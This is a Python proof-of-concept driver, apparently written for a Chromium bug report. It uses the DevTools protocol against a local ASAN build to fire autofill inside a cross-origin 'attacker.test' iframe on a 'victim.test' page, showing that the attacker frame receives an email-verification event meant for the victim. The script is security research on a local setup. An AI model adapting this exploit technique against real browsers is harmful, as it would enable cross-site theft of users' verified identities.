#!/usr/bin/env python3 """ CDP driver for the EVP cross-frame audience-confusion POC. Spawns Chrome with --remote-debugging-pipe and uses the Autofill devtools domain to perform the equivalent of "user clicks the iframe's email field and selects an address profile from the autofill dropdown" — i.e. it calls BrowserAutofillManager::FillOrPreviewForm() on the *root* frame's manager with an AutofillProfile* payload, exactly like the production gesture. Usage: python3 driver.py /path/to/out/asan/chrome """ import json import os import subprocess import sys import threading import time CHROME = sys.argv[1] if len(sys.argv) > 1 else "/chromium/chromium/src/out/asan/chrome" PROFILE_DIR = "/tmp/evp-poc-profile" VICTIM_URL = "https://victim.test/victim.html" ADDRESS = {"fields": [ {"name": "NAME_FULL", "value": "Alice Attacker"}, {"name": "EMAIL_ADDRESS", "value": "user@idp.test"}, {"name": "PHONE_HOME_WHOLE_NUMBER", "value": "+1 650 555 0100"}, {"name": "ADDRESS_HOME_LINE1", "value": "1 Hacker Way"}, {"name": "ADDRESS_HOME_CITY", "value": "Mountain View"}, {"name": "ADDRESS_HOME_STATE", "value": "CA"}, {"name": "ADDRESS_HOME_ZIP", "value": "94043"}, {"name": "ADDRESS_HOME_COUNTRY", "value": "US"}, ]} # --------------------------------------------------------------------------- # remote-debugging-pipe transport: NUL-separated JSON over fd 3 (in) / 4 (out) # --------------------------------------------------------------------------- class CDP: def __init__(self, write_fd, read_fd): self._w = os.fdopen(write_fd, "wb", buffering=0) self._r = os.fdopen(read_fd, "rb", buffering=0) self._next_id = 1 self._pending = {} self._events = [] self._lock = threading.Lock() threading.Thread(target=self._reader, daemon=True).start() def _reader(self): buf = b"" while True: chunk = self._r.read(4096) if not chunk: break buf += chunk while b"\x00" in buf: msg, buf = buf.split(b"\x00", 1) if not msg: continue obj = json.loads(msg) with self._lock: if "id" in obj: self._pending[obj["id"]] = obj else: self._events.append(obj) def send(self, method, params=None, session_id=None, timeout=60): with self._lock: mid = self._next_id; self._next_id += 1 msg = {"id": mid, "method": method, "params": params or {}} if session_id: msg["sessionId"] = session_id self._w.write(json.dumps(msg).encode() + b"\x00") deadline = time.time() + timeout while time.time() < deadline: with self._lock: if mid in self._pending: return self._pending.pop(mid) time.sleep(0.02) raise TimeoutError(f"{method} timed out") def wait_event(self, method, pred=None, timeout=60): deadline = time.time() + timeout while time.time() < deadline: with self._lock: for i, ev in enumerate(self._events): if ev.get("method") == method and (not pred or pred(ev)): return self._events.pop(i) time.sleep(0.05) raise TimeoutError(f"event {method} timed out") def main(): subprocess.run(["rm", "-rf", PROFILE_DIR]) # Pipes: parent writes to chrome's fd 3, parent reads from chrome's fd 4. p2c_r, p2c_w = os.pipe() # parent -> chrome (chrome reads on fd 3) c2p_r, c2p_w = os.pipe() # chrome -> parent (chrome writes on fd 4) # Park our (parent) ends on high FDs so we can place chrome's ends # exactly at 3 and 4 without preexec_fn games. os.dup2(p2c_w, 100); os.close(p2c_w); parent_w = 100 os.dup2(c2p_r, 101); os.close(c2p_r); parent_r = 101 os.dup2(p2c_r, 3); (p2c_r != 3) and os.close(p2c_r) os.dup2(c2p_w, 4); (c2p_w != 4) and os.close(c2p_w) os.set_inheritable(3, True) os.set_inheritable(4, True) cmd = [ CHROME, "--remote-debugging-pipe", "--no-first-run", "--no-default-browser-check", "--no-sandbox", "--disable-gpu", "--disable-dev-shm-usage", "--user-data-dir=" + PROFILE_DIR, "--enable-features=EmailVerificationProtocol", "--host-resolver-rules=MAP * 127.0.0.1:8443", "--ignore-certificate-errors", "--enable-logging=stderr", "--v=0", "about:blank", ] chrome_log = open("/tmp/evp-chrome.log", "wb") proc = subprocess.Popen( cmd, stdin=subprocess.DEVNULL, stdout=chrome_log, stderr=chrome_log, pass_fds=(3, 4), ) os.close(3); os.close(4) cdp = CDP(parent_w, parent_r) print("[driver] chrome pid =", proc.pid) try: # 1. Discover targets and open the victim page in the existing tab. # ASAN chrome can take 30-40s to come up; be patient on the first RPC. cdp.send("Target.setDiscoverTargets", {"discover": True}, timeout=90) tgts = cdp.send("Target.getTargets")["result"]["targetInfos"] page = next(t for t in tgts if t["type"] == "page") ps = cdp.send("Target.attachToTarget", {"targetId": page["targetId"], "flatten": True})["result"]["sessionId"] cdp.send("Page.enable", session_id=ps) cdp.send("Runtime.enable", session_id=ps) cdp.send("Page.navigate", {"url": VICTIM_URL}, session_id=ps) cdp.wait_event("Page.loadEventFired", pred=lambda e: e.get("sessionId") == ps) time.sleep(2) # let the OOPIF settle / autofill parse the forms # 2. Find the cross-origin iframe target (OOPIF, attacker.test). tgts = cdp.send("Target.getTargets")["result"]["targetInfos"] iframe = next(t for t in tgts if t["type"] == "iframe" and "attacker.test" in t["url"]) print(f"[driver] iframe target: {iframe['targetId']} {iframe['url']}") fs = cdp.send("Target.attachToTarget", {"targetId": iframe["targetId"], "flatten": True})["result"]["sessionId"] # 3. Locate the attacker email inside the OOPIF. cdp.send("Runtime.enable", session_id=fs) cdp.send("DOM.enable", session_id=fs) doc = cdp.send("DOM.getDocument", {"depth": -1}, session_id=fs)["result"]["root"] node = cdp.send("DOM.querySelector", {"nodeId": doc["nodeId"], "selector": "#e"}, session_id=fs)["result"]["nodeId"] desc = cdp.send("DOM.describeNode", {"nodeId": node}, session_id=fs)["result"]["node"] backend_id = desc["backendNodeId"] print(f"[driver] email input backendNodeId={backend_id} " f"frameId={iframe['targetId']}") # 4. Autofill.trigger -> root manager's FillOrPreviewForm() with profile. cdp.send("Autofill.enable", session_id=fs) r = cdp.send("Autofill.trigger", {"fieldId": backend_id, "frameId": iframe["targetId"], "address": ADDRESS}, session_id=fs, timeout=30) print("[driver] Autofill.trigger ->", json.dumps(r)) # 5. Wait for the attacker iframe's emailverified handler to fire. try: ev = cdp.wait_event( "Runtime.consoleAPICalled", pred=lambda e: e.get("sessionId") == fs and "[EVP-POC]" in json.dumps(e.get("params", {})), timeout=30) print("\n" + "=" * 70) print(ev["params"]["args"][0]["value"]) print("=" * 70) except TimeoutError: print("[driver] no emailverified console message within 30s") # Dump any other console messages for debugging. with cdp._lock: for e in cdp._events: if e.get("method") == "Runtime.consoleAPICalled": print("[driver] console:", json.dumps(e["params"])[:400]) finally: try: cdp.send("Browser.close", timeout=5) except Exception: pass proc.terminate() try: proc.wait(timeout=10) except Exception: proc.kill() if __name__ == "__main__": main()